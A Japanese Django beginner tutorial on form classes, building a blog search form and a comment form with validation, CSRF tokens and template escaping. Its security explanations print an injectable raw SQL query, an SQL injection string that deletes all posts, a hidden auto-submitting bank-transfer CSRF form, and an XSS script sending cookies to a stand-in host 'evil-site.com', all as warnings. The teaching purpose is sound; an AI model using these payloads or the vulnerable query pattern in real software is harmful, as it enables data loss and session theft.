【Django Form入門】フォームクラスでユーザー入力を安全に処理する方法
はじめに:ユーザーとの対話を実現する
これまでは記事を表示することに注力してきました。でも、Webアプリケーションの醍醐味は、ユーザーとの「対話」にあります。
- 記事を検索したい
- コメントを投稿したい
- お問い合わせを送りたい
これらすべてに共通するのが「フォーム」です。
でも、ちょっと待ってください。ユーザーからの入力を受け取るのは、実は危険がいっぱいなんです。
# 危険な例(絶対にやってはいけない!)
search_query = request.GET['q'] # ユーザー入力をそのまま信用
posts = Post.objects.raw(f"SELECT * FROM blog_post WHERE title LIKE '%{search_query}%'")
SQLインジェクション攻撃とは?
上記のコードの何が危険なのか、簡単な例で説明します。
もし悪意のあるユーザーが検索ボックスに以下のような文字列を入力したらどうなるでしょうか:
'; DELETE FROM blog_post; --
すると、実行されるSQLは:
SELECT * FROM blog_post WHERE title LIKE '%'; DELETE FROM blog_post; --%'
このSQL文は:
- 最初のクエリを
;
で終了 DELETE FROM blog_post
ですべての記事を削除!--
以降をコメントアウト
つまり、すべてのブログ記事が削除されてしまいます!😱
でも安心してください。DjangoのORMやフォームクラスを使えば、このような攻撃から自動的に守ってくれます。 詳しい仕組みを理解する必要はありません。 「ユーザー入力は信用せず、必ずDjangoの機能を使う」 ということだけ覚えておけば大丈夫です!
今回は、Djangoのフォームクラスを使って、安全に、効率的にユーザー入力を処理する方法を学びます。
「フォームって難しそう...」と思うかもしれません。でも大丈夫!Djangoのフォームクラスを使えば、セキュリティもバリデーションも、Djangoが自動的に処理してくれます。
初めてこの記事を読む方へ:
この記事は連載の第7回目です。モデルとデータベースの基本がまだの方は、第6回の記事をご覧ください。もしすぐにフォームの実装を始めたい方は、前回GitHubコードを参考にしながら進めることもできます。
この記事で学べること
- Djangoフォームの基本概念と仕組み
- forms.Formクラスの使い方
- 様々なフィールドタイプとウィジェット
- バリデーションとエラー処理
- 検索フォームの実装(GETメソッド)
- コメント投稿フォームの実装(POSTメソッド)
それでは、ユーザーとの対話を実現する第一歩を踏み出してみましょう!
Djangoフォームとは?
▶なぜフォームクラスを使うのか?
HTMLでフォームを書くのは簡単です:
<form>
<input type="text" name="username">
<input type="email" name="email">
<button type="submit">送信</button>
</form>
でも、これだけでは不十分なんです。考えなければならないことがたくさんあります:
- バリデーション:メールアドレスの形式は正しい?
- セキュリティ:悪意のある入力への対策は?
- エラー表示:入力ミスをユーザーに伝える方法は?
- 値の保持:エラー時に入力値を保持する方法は?
Djangoのフォームクラスは、これらすべてを解決してくれます!
▶フォームクラスの仕組み
Djangoフォームの処理の流れを図で確認してみましょう:
① 初回画面アクセス時(空のフォームを表示)
ユーザーが最初にフォームページにアクセスしたとき、DjangoはGETリクエストを受け取り、空のフォームオブジェクトを作成します。このフォームオブジェクトがテンプレートに渡され、HTMLの入力フィールドとして表示されます。
例:ナビゲーションメニューの「検索」をクリックして検索ページ(/search/
)にアクセスすると、検索キーワードを入力する空のテキストボックスが表示される
② フォームからデータが送信される場合
ユーザーがフォームに入力してデータを送信すると、GETまたはPOSTメソッドでサーバーに送信されます。
GETとPOSTの使い分け
GETメソッド:データを取得するだけの場合
- URLにパラメータが表示される(例:
/search/?keyword=Django&category=1
) - ブックマーク可能、履歴に残る
- 例:検索フォーム、絞り込みフォーム
POSTメソッド:データを作成・更新・削除する場合
- URLにパラメータは表示されない(データは本文に含まれる)
- CSRFトークンが必要(セキュリティ対策)
- 例:コメント投稿、ユーザー登録、記事の作成
処理の流れ:
-
データ付きFormオブジェクトの作成
- GETの場合:
form = PostSearchForm(request.GET)
- POSTの場合:
form = CommentForm(request.POST)
- ユーザーが入力したデータがFormオブジェクトに格納される
- GETの場合:
-
バリデーション(データ検証)の実行
form.is_valid()
を呼び出すと、各フィールドの制約をチェック- 例:メールアドレスの形式、必須項目の入力、文字数制限など
-
バリデーション成功時の処理
form.cleaned_data
から検証済みの安全なデータを取得- GETの例:検索キーワードでデータベースを検索し、結果を表示
- POSTの例:コメントをデータベースに保存し、「投稿完了」ページにリダイレクト
-
バリデーション失敗時の処理
- エラー情報が自動的にFormオブジェクトに追加される
- 例:「このフィールドは必須です」「メールアドレスの形式が正しくありません」
- 元の入力値とエラーメッセージを含むフォームを再表示
- ユーザーは問題を修正して再送信できる
この仕組みにより、ユーザー入力の検証とエラー処理が自動化され、安全で使いやすいフォームが実現できます。
▶フォームクラスの基本構造
from django import forms
class ContactForm(forms.Form):
# フィールドの定義
name = forms.CharField(max_length=100)
email = forms.EmailField()
message = forms.CharField(widget=forms.Textarea)
# カスタムバリデーション(オプション)
def clean_name(self):
name = self.cleaned_data['name']
if len(name) < 2:
raise forms.ValidationError("名前は2文字以上で入力してください")
return name
これだけで、バリデーション付きのフォームができあがります。
最初のフォームを作成しよう
▶記事検索フォームの実装
まず、記事を検索するフォームから始めましょう。検索は「読み取り専用」の操作なので、GETメソッドを使います。
フォームクラスの作成
blog/forms.py
を作成:
from django import forms
from .models import Category
class PostSearchForm(forms.Form):
"""記事検索フォーム"""
# 検索キーワード
keyword = forms.CharField(
label="検索キーワード",
max_length=100,
required=False, # 必須ではない
widget=forms.TextInput(
attrs={
"class": "form-control",
"placeholder": "タイトルや本文から検索...",
}
),
)
# カテゴリ絞り込み
category = forms.ModelChoiceField(
label="カテゴリ",
queryset=Category.objects.all(),
required=False,
empty_label="すべてのカテゴリ",
widget=forms.Select(
attrs={
"class": "form-control",
}
),
)
# 並び順
order_by = forms.ChoiceField(
label="並び順",
choices=[
("-created_at", "新しい順"),
("created_at", "古い順"),
("title", "タイトル順"),
],
required=False,
initial="-created_at",
widget=forms.Select(
attrs={
"class": "form-control",
}
),
)
フィールドタイプの説明
Djangoには様々なフィールドタイプが用意されています:
フィールドタイプ | 用途 | HTMLでの表示 |
---|---|---|
CharField | 短いテキスト | <input type="text"> |
EmailField | メールアドレス | <input type="email"> |
IntegerField | 整数 | <input type="number"> |
BooleanField | チェックボックス | <input type="checkbox"> |
ChoiceField | 選択肢から一つ選ぶ | <select> |
ModelChoiceField | モデルから選択 | <select> |
DateField | 日付 | <input type="date"> |
ビューでフォームを使う
blog/views.py
に検索ビューを追加:
from django.shortcuts import render, get_object_or_404
from django.db.models import Q
from django.core.paginator import Paginator
from .models import Post, Category
from .forms import PostSearchForm
def post_search(request):
"""記事検索ビュー"""
form = PostSearchForm(request.GET or None)
posts = Post.objects.filter(is_published=True)
keyword = "" # 初期値を設定
if form.is_valid():
# キーワード検索
keyword = form.cleaned_data.get("keyword")
if keyword:
# Q オブジェクトを使った OR 検索
posts = posts.filter(
Q(title__icontains=keyword) | Q(content__icontains=keyword)
)
# カテゴリ絞り込み
category = form.cleaned_data.get("category")
if category:
posts = posts.filter(category=category)
# 並び順
order_by = form.cleaned_data.get("order_by")
if order_by:
posts = posts.order_by(order_by)
# ページネーション
paginator = Paginator(posts, 10)
page_number = request.GET.get("page")
page_obj = paginator.get_page(page_number)
context = {
"form": form,
"page_obj": page_obj,
"keyword": keyword,
"result_count": posts.count(),
}
return render(request, "blog/post_search.html", context)
cleaned_dataとは?
form.cleaned_data
は、バリデーションを通過した「きれいな」データが入った辞書です。
# ユーザーが入力した生データ
request.GET['keyword'] # 危険!直接使わない
# バリデーション済みの安全なデータ
form.cleaned_data['keyword'] # 安全!こちらを使う
テンプレートの作成
blog/templates/blog/post_search.html
を作成:
{% extends 'blog/base.html' %}
{% block title %}記事検索 - My Blog{% endblock %}
{% block content %}
<div class="search-page">
<div class="search-header">
<h2>記事を検索</h2>
</div>
<!-- 検索フォーム -->
<div class="search-form-card">
<form method="get" class="search-form">
<div class="form-row">
<div class="form-group">
{{ form.keyword.label_tag }}
{{ form.keyword }}
</div>
<div class="form-group">
{{ form.category.label_tag }}
{{ form.category }}
</div>
<div class="form-group">
{{ form.order_by.label_tag }}
{{ form.order_by }}
</div>
</div>
<div class="form-actions">
<button type="submit" class="btn btn-primary">
検索
</button>
<a href="{% url 'post_search' %}" class="btn btn-secondary">
クリア
</a>
</div>
</form>
</div>
<!-- 検索結果 -->
<div class="search-results">
{% if keyword %}
<h3 class="search-results-title">
「{{ keyword }}」の検索結果
<span class="result-count">({{ result_count }}件)</span>
</h3>
{% endif %}
{% if page_obj %}
<div class="posts-grid">
{% for post in page_obj %}
{% include 'blog/includes/post_card.html' %}
{% empty %}
<p class="no-results">検索条件に一致する記事が見つかりませんでした。</p>
{% endfor %}
</div>
<!-- ページネーション -->
{% if page_obj.has_other_pages %}
<nav class="pagination-nav">
<ul class="pagination">
{% if page_obj.has_previous %}
<li>
<a href="?{% if keyword %}keyword={{ keyword }}&{% endif %}{% if form.category.value %}category={{ form.category.value }}&{% endif %}{% if form.order_by.value %}order_by={{ form.order_by.value }}&{% endif %}page={{ page_obj.previous_page_number }}">
前へ
</a>
</li>
{% endif %}
<li class="current">
{{ page_obj.number }} / {{ page_obj.paginator.num_pages }}
</li>
{% if page_obj.has_next %}
<li>
<a href="?{% if keyword %}keyword={{ keyword }}&{% endif %}{% if form.category.value %}category={{ form.category.value }}&{% endif %}{% if form.order_by.value %}order_by={{ form.order_by.value }}&{% endif %}page={{ page_obj.next_page_number }}">
次へ
</a>
</li>
{% endif %}
</ul>
</nav>
{% endif %}
{% endif %}
</div>
</div>
{% endblock %}
Djangoフォームのテンプレートでの使い方
Djangoのフォームクラスを使うと、テンプレートで非常に簡単にフォームを組み込むことができます。上記のテンプレートで使われているフォームの機能を詳しく見ていきましょう。
1. フォームフィールドの表示
{{ form.keyword.label_tag }} <!-- ラベルを<label>タグ付きで出力 -->
{{ form.keyword }} <!-- 入力フィールドを出力 -->
これは以下のHTMLに変換されます:
<label for="id_keyword">検索キーワード:</label>
<input type="text" name="keyword" maxlength="100" class="form-control" placeholder="タイトルや本文から検索..." id="id_keyword">
2. フォームフィールドの便利な属性
テンプレートで使えるフォームフィールドの属性を紹介します:
属性 | 説明 | 例 |
---|---|---|
form.field | フィールドの入力要素を出力 | {{ form.keyword }} |
form.field.label | ラベルのテキストのみ | {{ form.keyword.label }} → "検索キーワード" |
form.field.label_tag | <label> タグ付きのラベル | {{ form.keyword.label_tag }} |
form.field.value | 現在の値 | {{ form.keyword.value }} |
form.field.help_text | ヘルプテキスト | {{ form.keyword.help_text }} |
form.field.errors | エラーメッセージ | {{ form.keyword.errors }} |
form.field.id_for_label | フィールドのID | {{ form.keyword.id_for_label }} → "id_keyword" |
form.field.html_name | HTMLのname属性 | {{ form.keyword.html_name }} → "keyword" |
form.field.field | フィールドオブジェクト自体 | {{ form.keyword.field.required }} |
3. フォームフィールドをループで処理
フォームの項目数が多い場合、一つずつ手動で書くと大変です。そんなときは、ループを使ってフォームを組み立てることができます:
<!-- シンプルなループ出力 -->
<form method="get">
{% for field in form %}
<div class="form-group">
{{ field.label_tag }}
{{ field }}
{% if field.help_text %}
<small class="form-help">{{ field.help_text }}</small>
{% endif %}
{% if field.errors %}
<div class="error-message">
{{ field.errors }}
</div>
{% endif %}
</div>
{% endfor %}
<button type="submit">送信</button>
</form>
4. フォーム全体を一度に表示
Djangoはフォーム全体を簡単に表示する方法も提供しています:
<!-- テーブル形式で表示 -->
{{ form.as_table }}
<!-- リスト形式で表示 -->
{{ form.as_ul }}
<!-- 段落形式で表示 -->
{{ form.as_p }}
<!-- カスタムDIV形式で表示(Django 4.0以降) -->
{{ form.as_div }}
ただし、これらの方法はカスタマイズが難しいため、本番のプロジェクトでは上記のように個別にフィールドを扱うことが多いです。
5. 非表示フィールドを除外
特定のフィールドを除外してループ処理したい場合:
{% for field in form.visible_fields %}
<!-- 非表示フィールドを除外したフィールドのみ -->
{{ field }}
{% endfor %}
{% for hidden in form.hidden_fields %}
<!-- 非表示フィールドのみ -->
{{ hidden }}
{% endfor %}
6. エラーの表示
フォーム全体のエラーや個別フィールドのエラーを表示:
<!-- フィールドに関連しないエラー -->
{% if form.non_field_errors %}
<div class="alert alert-danger">
{{ form.non_field_errors }}
</div>
{% endif %}
<!-- 特定フィールドのエラー -->
{% if form.keyword.errors %}
<ul class="error-list">
{% for error in form.keyword.errors %}
<li>{{ error }}</li>
{% endfor %}
</ul>
{% endif %}
このように、Djangoのフォームクラスを使うと、テンプレートで非常に柔軟にフォームを扱うことができます。状況に応じて適切な方法を選んでくださいね!
URLパターンの追加
blog/urls.py
に追加:
urlpatterns = [
path("", views.post_list, name="post_list"),
path("post/<int:post_id>/", views.post_detail, name="post_detail"),
path("category/<slug:slug>/", views.category_posts, name="category_posts"),
path("search/", views.post_search, name="post_search"), # 追加
]
ナビゲーションメニューに検索リンクを追加
検索ページにアクセスできるように、ベーステンプレートのナビゲーションメニューを更新してみましょう。
blog/templates/blog/base.html
のヘッダー部分を修正:
<header>
<nav>
<h1><a href="{% url 'post_list' %}">My Blog</a></h1>
<ul>
<li><a href="{% url 'post_list' %}">ホーム</a></li>
<li><a href="{% url 'post_search' %}">検索</a></li> <!-- 追加 -->
<li><a href="#">About</a></li>
</ul>
</nav>
</header>
これで、すべてのページから検索ページにアクセスできるようになりました。
▶スタイルの追加
検索フォームが機能するようになりましたが、見た目を整えましょう。検索ページ用のCSSを追加します:
/* 検索フォーム */
.search-page {
max-width: 1200px;
margin: 0 auto;
padding: 2rem;
}
.search-header {
text-align: center;
margin-bottom: 3rem;
}
.search-header h2 {
color: #2c3e50;
font-size: 2.5rem;
}
.search-form-card {
background: white;
padding: 2.5rem;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
margin-bottom: 3rem;
}
.search-form .form-row {
display: grid;
grid-template-columns: 2fr 1fr 1fr;
gap: 1.5rem;
margin-bottom: 2rem;
}
.form-group {
margin-bottom: 1rem;
}
.form-group label {
display: block;
margin-bottom: 0.5rem;
color: #333;
font-weight: 500;
font-size: 0.95rem;
}
.form-control {
width: 100%;
padding: 0.75rem 1rem;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 1rem;
transition: all 0.3s;
background-color: #f8f9fa;
}
.form-control:focus {
outline: none;
border-color: #3498db;
background-color: white;
box-shadow: 0 0 0 3px rgba(52, 152, 219, 0.1);
}
.form-actions {
display: flex;
gap: 1rem;
justify-content: center;
}
.form-actions .btn {
padding: 0.75rem 2rem;
font-size: 1rem;
}
/* 検索結果 */
.search-results {
margin-top: 2rem;
}
.search-results-title {
color: #2c3e50;
margin-bottom: 2rem;
padding-bottom: 1rem;
border-bottom: 2px solid #ecf0f1;
}
.result-count {
color: #7f8c8d;
font-size: 1.1rem;
font-weight: normal;
}
.posts-grid {
display: grid;
gap: 2rem;
}
.no-results {
text-align: center;
padding: 4rem 2rem;
background: #f8f9fa;
border-radius: 8px;
color: #7f8c8d;
font-size: 1.1rem;
}
/* ページネーション */
.pagination-nav {
margin-top: 3rem;
display: flex;
justify-content: center;
}
.pagination {
display: flex;
list-style: none;
gap: 1rem;
align-items: center;
padding: 0;
}
.pagination li {
margin: 0;
}
.pagination a {
display: inline-block;
padding: 0.5rem 1rem;
background: white;
border: 1px solid #ddd;
border-radius: 4px;
color: #2c3e50;
text-decoration: none;
transition: all 0.3s;
}
.pagination a:hover {
background: #3498db;
color: white;
border-color: #3498db;
}
.pagination .current {
color: #7f8c8d;
font-weight: 500;
}
/* レスポンシブ対応 */
@media (max-width: 768px) {
.search-form .form-row {
grid-template-columns: 1fr;
}
}
▶base.htmlでサイドバー表示を制御
検索ページではサイドバーを表示しないようにしたいので、blog/templates/blog/base.html
を修正します。
sidebar.htmlはcategories
とposts
の変数を必要とするため、これらの変数が設定されていない場合は自動的にサイドバーを非表示にする仕組みを実装します:
<!-- categoriesとpostsの有無でクラスを切り替える -->
<main class="{% if categories and posts %}with-sidebar{% else %}no-sidebar{% endif %}">
<div class="container">
<div class="content">
{% block content %}
<!-- ここに各ページの内容が入ります -->
{% endblock %}
</div>
<!-- サイドバーは条件付きで表示 -->
{% if categories and posts %}
<aside class="sidebar">
{% block sidebar %}
{% include 'blog/includes/sidebar.html' %}
{% endblock %}
</aside>
{% endif %}
</div>
</main>
そして、レイアウト制御用のCSSも追加します:
/* サイドバーありのレイアウト */
main.with-sidebar .container {
display: grid;
grid-template-columns: 1fr 300px;
gap: 2rem;
max-width: 1200px;
margin: 0 auto;
padding: 2rem;
}
/* サイドバーなしのレイアウト */
main.no-sidebar .container {
display: block;
max-width: 1200px;
margin: 0 auto;
padding: 2rem;
}
main.no-sidebar .content {
max-width: 100%;
}
/* レスポンシブ対応 */
@media (max-width: 768px) {
main.with-sidebar .container {
grid-template-columns: 1fr;
}
main.with-sidebar .sidebar {
order: -1; /* モバイルではサイドバーを上に表示 */
margin-bottom: 2rem;
}
}
この方法により、categories
とposts
が設定されているページではサイドバーが表示され、設定されていない検索ページでは自動的にサイドバーが非表示になります。
▶動作確認
開発サーバーを起動して、検索ページにアクセスしてみましょう:
$ python manage.py runserver
ブラウザでhttp://localhost:8000/search/
にアクセスすると、以下のような検索ページが表示されます:
検索機能を試してみましょう:
- キーワードを入力して検索
- カテゴリで絞り込み
- 並び順を変更
検索結果は以下のように表示されます:
POSTメソッドのフォーム:コメント投稿
次に、コメント投稿フォームを実装してみましょう。データを作成・更新する操作なので、POSTメソッドを使います。
▶コメントモデルの作成
まず、コメント用のモデルを作成します。
blog/models.py
に追加:
class Comment(models.Model):
"""コメントモデル"""
post = models.ForeignKey(
Post, on_delete=models.CASCADE, related_name="comments", verbose_name="記事"
)
name = models.CharField(max_length=50, verbose_name="名前")
email = models.EmailField(verbose_name="メールアドレス")
content = models.TextField(verbose_name="コメント内容")
created_at = models.DateTimeField(auto_now_add=True, verbose_name="投稿日時")
is_approved = models.BooleanField(default=True, verbose_name="承認済み")
class Meta:
verbose_name = "コメント"
verbose_name_plural = "コメント"
ordering = ["-created_at"]
def __str__(self):
return f"{self.name}: {self.content[:20]}"
マイグレーションを実行:
▶コメントフォームの作成
blog/forms.py
に追加:
class CommentForm(forms.Form):
"""コメント投稿フォーム"""
name = forms.CharField(
label="お名前",
max_length=50,
widget=forms.TextInput(
attrs={
"class": "form-control",
"placeholder": "お名前を入力",
}
),
)
email = forms.EmailField(
label="メールアドレス",
widget=forms.EmailInput(
attrs={
"class": "form-control",
"placeholder": "your@email.com",
}
),
)
content = forms.CharField(
label="コメント",
widget=forms.Textarea(
attrs={
"class": "form-control",
"rows": 4,
"placeholder": "コメントを入力してください",
}
),
)
def clean_content(self):
"""コメント内容のバリデーション"""
content = self.cleaned_data["content"]
# 最小文字数チェック
if len(content) < 5:
raise forms.ValidationError("コメントは5文字以上で入力してください。")
# NGワードチェック(例)
ng_words = ["spam", "スパム"]
for word in ng_words:
if word in content.lower():
raise forms.ValidationError("不適切な内容が含まれています。")
return content
カスタムバリデーションの書き方
clean_フィールド名()
メソッドで、特定のフィールドのバリデーションをカスタマイズできます:
def clean_email(self):
email = self.cleaned_data['email']
if email.endswith('@example.com'):
raise forms.ValidationError('このメールアドレスは使用できません。')
return email
▶ビューの修正
記事詳細ビューにコメント機能を追加します:
from django.shortcuts import render, get_object_or_404, redirect
from django.contrib import messages
from django.db.models import Q
from django.core.paginator import Paginator
from .models import Post, Category, Comment
from .forms import PostSearchForm, CommentForm
def post_detail(request, post_id):
"""記事詳細とコメント投稿"""
post = get_object_or_404(Post, pk=post_id, is_published=True)
comments = post.comments.filter(is_approved=True)
# コメントフォームの処理
if request.method == "POST":
form = CommentForm(request.POST)
if form.is_valid():
# コメントを保存
comment = Comment(
post=post,
name=form.cleaned_data["name"],
email=form.cleaned_data["email"],
content=form.cleaned_data["content"],
)
comment.save()
messages.success(request, "コメントを投稿しました!")
# PRGパターン(Post-Redirect-Get)でリダイレクト
return redirect("post_detail", post_id=post.id)
else:
form = CommentForm()
# サイドバー用に最新記事を取得
recent_posts = (
Post.objects.filter(is_published=True)
.exclude(id=post_id)
.order_by("-created_at")[:5]
)
# カテゴリー一覧を取得
categories = Category.objects.all().order_by("name")
context = {
"post": post,
"posts": recent_posts, # サイドバー用
"categories": categories, # サイドバー用
"comments": comments,
"comment_form": form,
"comment_count": comments.count(),
}
return render(request, "blog/post_detail.html", context)
PRGパターンとは?
Post-Redirect-Getパターンは、フォーム送信後の重要なテクニックです:
- Post: フォームをPOSTで送信
- Redirect: 処理後、GETメソッドのURLにリダイレクト
- Get: リダイレクト先のページを表示
これにより、ブラウザの「更新」ボタンを押しても、フォームが再送信されません!
▶テンプレートの修正
blog/templates/blog/post_detail.html
にコメントセクションを追加:
{% extends 'blog/base.html' %}
{% block content %}
{% if post %}
<article class="post-detail">
<!-- 既存の記事表示部分 -->
</article>
<!-- コメントセクション -->
<section class="comments-section">
<h3>コメント({{ comment_count }}件)</h3>
<!-- コメント一覧 -->
<div class="comments-list">
{% for comment in comments %}
<div class="comment">
<div class="comment-header">
<strong>{{ comment.name }}</strong>
<span class="comment-date">{{ comment.created_at|date:"Y年m月d日 H:i" }}</span>
</div>
<div class="comment-body">
{{ comment.content|linebreaks }}
</div>
</div>
{% empty %}
<p class="no-comments">まだコメントはありません。最初のコメントを投稿してみましょう!</p>
{% endfor %}
</div>
<!-- コメント投稿フォーム -->
<div class="comment-form-section">
<h4>コメントを投稿</h4>
{% if messages %}
{% for message in messages %}
<div class="alert alert-{{ message.tags }}">
{{ message }}
</div>
{% endfor %}
{% endif %}
<form method="post" class="comment-form">
{% csrf_token %}
<!-- エラーメッセージ -->
{% if comment_form.non_field_errors %}
<div class="alert alert-danger">
{{ comment_form.non_field_errors }}
</div>
{% endif %}
<div class="form-group">
{{ comment_form.name.label_tag }}
{{ comment_form.name }}
{% if comment_form.name.errors %}
<div class="error-message">
{{ comment_form.name.errors }}
</div>
{% endif %}
</div>
<div class="form-group">
{{ comment_form.email.label_tag }}
{{ comment_form.email }}
{% if comment_form.email.errors %}
<div class="error-message">
{{ comment_form.email.errors }}
</div>
{% endif %}
<small class="form-help">メールアドレスは公開されません</small>
</div>
<div class="form-group">
{{ comment_form.content.label_tag }}
{{ comment_form.content }}
{% if comment_form.content.errors %}
<div class="error-message">
{{ comment_form.content.errors }}
</div>
{% endif %}
</div>
<button type="submit" class="btn btn-primary">
コメントを投稿
</button>
</form>
</div>
</section>
{% else %}
<p>記事が見つかりませんでした。</p>
<p><a href="{% url 'post_list' %}">記事一覧に戻る</a></p>
{% endif %}
{% endblock %}
フォームのセキュリティ
▶CSRF保護
Djangoは、CSRF(Cross-Site Request Forgery)攻撃から自動的に保護してくれます。
<form method="post">
{% csrf_token %} <!-- これが重要! -->
<!-- フォームフィールド -->
</form>
{% csrf_token %}
を忘れると、403エラーが発生します。
CSRF攻撃とは?
CSRF(Cross-Site Request Forgery:クロスサイトリクエストフォージェリ)攻撃を簡単に説明します。
身近な例で説明すると:
- あなたがネットバンキングにログインしている状態で
- 悪意のあるサイトを訪問したとします
- そのサイトには、見えないところにこんなコードが仕込まれています:
<!-- 悪意のあるサイトに仕込まれた見えないフォーム -->
<form action="https://yourbank.com/transfer" method="post" style="display: none;">
<input type="hidden" name="to" value="攻撃者の口座">
<input type="hidden" name="amount" value="100000">
</form>
<script>
// ページが読み込まれた瞬間に自動送信
document.forms[0].submit();
</script>
- あなたがネットバンキングにログインしたままなので、銀行は「あなたからのリクエスト」だと思って振込みを実行してしまいます!
DjangoのCSRFトークンはどうやって防ぐ?
- Djangoは各フォームに「秘密の合言葉」(CSRFトークン)を埋め込みます
- フォームが送信されたとき、この合言葉が正しいかチェックします
- 悪意のあるサイトはこの合言葉を知らないので、攻撃が失敗します
初心者の方へ:
この仕組みを完全に理解する必要はありません!大事なのは:
- POSTメソッドのフォームには必ず
{% csrf_token %}
を入れる - これだけでDjangoが自動的に守ってくれる
セキュリティの詳細は専門家に任せて、今は「{% csrf_token %}
を忘れずに」とだけ覚えておけば大丈夫です!😊
▶XSS対策
Djangoは自動的にHTMLエスケープを行います:
# ユーザーが悪意のあるスクリプトを投稿しても...
comment = "<script>alert('XSS')</script>"
# テンプレートで表示すると自動的にエスケープされる
{{ comment }} # <script>alert('XSS')</script>
XSS攻撃とは?
XSS(Cross-Site Scripting:クロスサイトスクリプティング)攻撃を簡単に説明します。
身近な例で説明すると:
ブログのコメント欄に、悪意のあるユーザーがこんなコメントを投稿したとします:
素晴らしい記事ですね!
<script>
// このスクリプトが実行されると...
// 他のユーザーのクッキーを盗んだり
// ページを書き換えたりできてしまう!
document.location = 'https://evil-site.com?cookie=' + document.cookie;
</script>
もしこのコメントがそのまま表示されると、ページを見た全員のブラウザでこのスクリプトが実行されてしまいます!
Djangoはどうやって防ぐ?
Djangoは、テンプレートで{{ comment }}
のように表示するとき、自動的に:
<
→<
>
→>
"
→"
'
→'
のように変換します。これでスクリプトはただの文字として表示され、実行されません。
初心者の方へ:
難しいことは考えなくて大丈夫です!
- Djangoのテンプレートで
{{ }}
を使えば自動的に安全 - 特別な設定は不要
- 意図的にHTMLを表示したいときだけ
|safe
フィルタを使う
セキュリティの仕組みを深く理解する必要はありません。Djangoがしっかり守ってくれることを信じて、アプリケーションの開発に集中してみましょう!😊
▶コメントセクションのスタイル追加
コメント投稿機能のスタイルを追加してみましょう:
/* コメントセクション */
.comments-section {
margin-top: 4rem;
padding-top: 2rem;
border-top: 2px solid #ecf0f1;
}
.comments-list {
margin: 2rem 0;
}
.comment {
background: #f8f9fa;
padding: 1.5rem;
border-radius: 8px;
margin-bottom: 1rem;
}
.comment-header {
display: flex;
justify-content: space-between;
margin-bottom: 1rem;
color: #7f8c8d;
}
.comment-body {
color: #333;
line-height: 1.6;
}
.comment-form-section {
background: white;
padding: 2rem;
border-radius: 8px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
/* エラーメッセージ */
.error-message {
color: #e74c3c;
font-size: 0.875rem;
margin-top: 0.25rem;
}
.alert {
padding: 1rem;
border-radius: 4px;
margin-bottom: 1rem;
}
.alert-success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.alert-danger {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.form-help {
display: block;
margin-top: 0.25rem;
color: #6c757d;
font-size: 0.875rem;
}
▶コメント投稿機能の動作確認
記事詳細ページにアクセスして、コメント投稿機能を試してみましょう:
コメントを投稿すると、以下のように表示されます:
実践的なテクニック
▶フォームの初期値設定
# ビューで初期値を設定
def edit_comment(request, comment_id):
comment = get_object_or_404(Comment, pk=comment_id)
form = CommentForm(initial={
'name': comment.name,
'email': comment.email,
'content': comment.content,
})
▶動的なフィールドの追加
class DynamicForm(forms.Form):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
# 動的にフィールドを追加
for i in range(3):
self.fields[f'option_{i}'] = forms.CharField(
label=f'オプション{i+1}',
required=False
)
▶ファイルアップロード(参考)
class FileUploadForm(forms.Form):
file = forms.FileField(
label='ファイルを選択',
widget=forms.FileInput(attrs={
'accept': 'image/*',
'class': 'form-control-file',
})
)
まとめ
今回は、Djangoのフォームクラスについて学びました:
- forms.Formを使った安全なユーザー入力処理
- バリデーションによるデータの検証
- GETメソッドでの検索フォーム実装
- POSTメソッドでのコメント投稿機能
- CSRF対策などのセキュリティ機能
▶今回実装した機能
-
記事検索機能
- キーワード検索
- カテゴリ絞り込み
- 並び替え
-
コメント投稿機能
- バリデーション付きフォーム
- エラー表示
- 成功メッセージ
▶フォームクラスのメリット
- ✅ セキュリティ:自動的にエスケープ処理
- ✅ バリデーション:データの妥当性チェック
- ✅ 再利用性:同じフォームを複数箇所で使える
- ✅ 保守性:フォームの定義が一箇所にまとまる
フォームは、ユーザーとの対話の入り口です。今回学んだ基礎をしっかり理解すれば、より複雑なフォームも作れるようになります。
僕も最初は「バリデーションって何?」「cleaned_dataって?」と混乱しましたが、実際に手を動かしてみると、その便利さに感動しました。皆さんも、ぜひ色々なフォームを作って試してみてください!
完成したコード
もし実行でエラーが出たり、不明な点がある場合は、以下の完成後のコードと比較してみてください:
https://github.com/techarm/django-blog-tutorial/tree/07-forms
特にforms.py
のフォーム定義、views.py
でのフォーム処理、テンプレートでの表示方法を確認することで、問題を解決できるでしょう。
次回予告
次回は、「クラスベースビュー(CBV)」について学びます!
- ListView、DetailViewを使った効率的な表示
- カテゴリ別・タグ別の記事一覧
- 月別アーカイブ機能
- 今回作った検索フォームをCBVで実装
関数ベースビューよりも、もっと効率的にコードが書けるようになります。お楽しみに!
ここまで一緒に学んできたあなたは、すでにユーザーとの対話ができるWebアプリケーションを作る力を身につけています。素晴らしいですね!次回も一緒に頑張りましょう!🚀
この記事はいかがでしたか?
もしこの記事が参考になりましたら、
高評価をいただけると大変嬉しいです!
皆様からの応援が励みになります。ありがとうございます! ✨